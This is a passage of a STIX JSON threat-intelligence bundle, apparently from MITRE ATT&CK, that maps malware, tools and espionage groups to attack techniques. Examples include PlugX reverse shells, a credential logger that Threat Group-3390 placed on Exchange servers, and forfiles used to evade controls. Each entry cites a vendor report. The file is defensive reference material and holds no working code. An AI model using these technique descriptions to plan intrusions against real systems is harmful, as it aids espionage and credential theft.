            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to copy files to/from a remotely connected internal system.(Citation: TechNet Copy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Copy",
                    "description": "Microsoft. (n.d.). Copy. Retrieved April 26, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/bb490886.aspx"
                }
            ],
            "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "type": "relationship",
            "modified": "2020-03-20T18:38:23.371Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cfb7e335-e7a3-4dc3-91b8-70381a888222",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used the Plink utility to create SSH tunnels.(Citation: Group IB Cobalt Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.group-ib.com/blog/cobalt",
                    "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.",
                    "source_name": "Group IB Cobalt Aug 2017"
                }
            ],
            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "type": "relationship",
            "modified": "2020-03-20T23:11:51.513Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--16ef3e00-dc40-462c-9b74-5e8a8b24c86e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8",
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "source_name": "Symantec Buckeye"
                }
            ],
            "description": "(Citation: Symantec Buckeye)",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.684Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--57527643-2aef-4171-b61a-665ab8ed991b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Daserf](https://attack.mitre.org/software/S0187) hides collected data in password-protected .rar archives.(Citation: Symantec Tick Apr 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Tick Apr 2016",
                    "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "type": "relationship",
            "modified": "2020-03-30T02:04:22.503Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--79106ad4-28d3-4f67-a2c3-116d138ec84a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PlugX](https://attack.mitre.org/software/S0013) allows actors to spawn a reverse shell on a victim.(Citation: Dell TG-3390)(Citation: CIRCL PlugX March 2013)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "source_name": "Dell TG-3390"
                },
                {
                    "source_name": "CIRCL PlugX March 2013",
                    "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf",
                    "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."
                }
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:50:55.403Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--18324fed-7770-4768-b652-59860ac4782f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on the local system. [FLASHFLOOD](https://attack.mitre.org/software/S0036) will scan the My Recent Documents, Desktop, Temporary Internet Files, and TEMP directories. [FLASHFLOOD](https://attack.mitre.org/software/S0036) also collects information stored in the Windows Address Book.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2020-03-16T23:56:46.496Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--705fdfa4-6b23-480c-b31a-eadb41533439",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) executes the <code>netstat -ano</code> command.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2020-03-17T00:43:32.021Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--6203e555-d5f9-4b3c-978b-d10db7575dbc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can list contents of drives and search for files.(Citation: Symantec Linfo May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Linfo May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"
                }
            ],
            "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-20T02:11:07.285Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--b697e1d0-b537-4be0-bd16-fd3f7ade80e8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) uses Rundll32 for executing the dropper program.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html",
                    "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.",
                    "source_name": "FireEye FELIXROOT July 2018"
                },
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.933Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a3251b26-7012-4f26-9c5d-1fb9d69b8569",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of listing files, folders, and drives on a victim.(Citation: Dell TG-3390)(Citation: ZScaler Hacking Team)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "source_name": "ZScaler Hacking Team",
                    "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.",
                    "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html"
                }
            ],
            "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-16T16:56:45.659Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
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            "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) executes using regsvr32.exe called from the [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001) persistence mechanism.(Citation: Fidelis INOCNATION)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fidelis INOCNATION",
                    "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.",
                    "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"
                }
            ],
            "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "type": "relationship",
            "modified": "2021-02-09T14:57:16.183Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--21caad94-1568-4e40-8e38-c0f7e854aede",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) used Base64 to encode C2 traffic.(Citation: Cymmetria Patchwork)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cymmetria Patchwork",
                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
                    "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:24:07.620Z",
            "created": "2017-05-31T21:33:27.076Z"
        },
        {
            "id": "relationship--baabf444-1748-472f-b991-7a5b25e4e1bb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Reg](https://attack.mitre.org/software/S0075) may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface.(Citation: Microsoft Reg)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft Reg",
                    "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4"
        },
        {
            "id": "relationship--fcfe071b-e527-44e9-9970-9243a354f563",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Regin](https://attack.mitre.org/software/S0019) appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.(Citation: Kaspersky Regin)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Regin",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"
                }
            ],
            "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "type": "relationship",
            "modified": "2020-06-29T01:54:53.389Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1b45f3b5-b7a4-4424-a8ff-1b1f1c1a55d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has locally staged encrypted archives for later exfiltration efforts.(Citation: SecureWorks BRONZE UNION June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T15:07:32.795Z",
            "created": "2017-05-31T21:33:27.062Z"
        },
        {
            "id": "relationship--09266cb7-26b3-4959-bcff-a91e309b5588",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Helminth](https://attack.mitre.org/software/S0170) has used a scheduled task for persistence.(Citation: ClearSky OilRig Jan 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky OilRig Jan 2017",
                    "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.",
                    "url": "http://www.clearskysec.com/oilrig/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:35:13.824Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--6b5c6fc2-615a-46fc-80a4-9ab332159722",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors installed a credential logger on Microsoft Exchange servers. [Threat Group-3390](https://attack.mitre.org/groups/G0027) also leveraged the reconnaissance framework, ScanBox, to capture keystrokes.(Citation: Dell TG-3390)(Citation: Hacker News LuckyMouse June 2018)(Citation: Securelist LuckyMouse June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "source_name": "Dell TG-3390"
                },
                {
                    "url": "https://thehackernews.com/2018/06/chinese-watering-hole-attack.html",
                    "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.",
                    "source_name": "Hacker News LuckyMouse June 2018"
                },
                {
                    "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/",
                    "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.",
                    "source_name": "Securelist LuckyMouse June 2018"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-18T20:47:53.366Z",
            "created": "2017-05-31T21:33:27.061Z"
        },
        {
            "id": "relationship--9cef6fec-e4eb-49eb-85db-880138f335bd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rover](https://attack.mitre.org/software/S0090) copies files from removable drives to <code>C:\\system</code>.(Citation: Palo Alto Rover)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Rover",
                    "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
                }
            ],
            "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T14:52:20.340Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--08b4b3f1-3c20-4e70-8a42-99fd5f191b12",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MacSpy](https://attack.mitre.org/software/S0282) deletes any temporary files it creates(Citation: alientvault macspy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "alientvault macspy",
                    "description": "PETER EWANE. (2017, June 9). MacSpy: OS X RAT as a Service. Retrieved September 21, 2018.",
                    "url": "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service"
                }
            ],
            "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-01-17T19:50:53.351Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--a549ccf7-8610-4cf8-80d7-98491566c0cd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZeroT](https://attack.mitre.org/software/S0230) has used HTTP for C2.(Citation: Proofpoint TA459 April 2017)(Citation: Proofpoint ZeroT Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint TA459 April 2017",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"
                },
                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:54:39.735Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--0c870326-6b8a-4279-bbd3-2c1ae23ba54a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) collects C2 information via a dead drop resolver.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7",
            "type": "relationship",
            "modified": "2020-03-20T21:00:35.872Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "[KONNI](https://attack.mitre.org/software/S0356) has the capability to perform keylogging.(Citation: Talos Konni May 2017)",
            "id": "relationship--e77c6605-41e9-470f-80fc-2a383aeccc5e",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:06:39.613Z",
            "created": "2019-01-31T00:36:41.182Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--e725bb68-9fe3-4c43-8ef5-57d57b40b066",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "(Citation: Cybereason Cobalt Kitty 2017)",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.953Z",
            "created": "2019-01-31T01:07:58.800Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "source_name": "FireEye Hacking FIN4 Dec 2014"
                },
                {
                    "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.",
                    "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html",
                    "source_name": "FireEye Hacking FIN4 Video Dec 2014"
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) has accessed and hijacked online email communications using stolen credentials.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)",
            "id": "relationship--e9267a72-00d7-438b-8c41-af72021e89d0",
            "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "type": "relationship",
            "modified": "2020-03-17T16:24:29.903Z",
            "created": "2019-01-31T02:01:45.663Z"
        },
        {
            "id": "relationship--7f17927d-b371-42c4-bd68-0c5c57e3edab",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has deleted and overwrote files to cover tracks.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
                },
                {
                    "source_name": "FireEye APT35 2018",
                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.",
                    "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"
                }
            ],
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-09-09T19:21:42.422Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--8b746637-fef8-474e-8960-822d758fb9b3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to subvert controls and possibly conceal command execution by not directly invoking [cmd](https://attack.mitre.org/software/S0106).(Citation: VectorSec ForFiles Aug 2017)(Citation: Evi1cg Forfiles Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "VectorSec ForFiles Aug 2017",
                    "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018.",
                    "url": "https://twitter.com/vector_sec/status/896049052642533376"
                },
                {
                    "source_name": "Evi1cg Forfiles Nov 2017",
                    "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.",
                    "url": "https://twitter.com/Evi1cg/status/935027922397573120"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e"
        },
        {
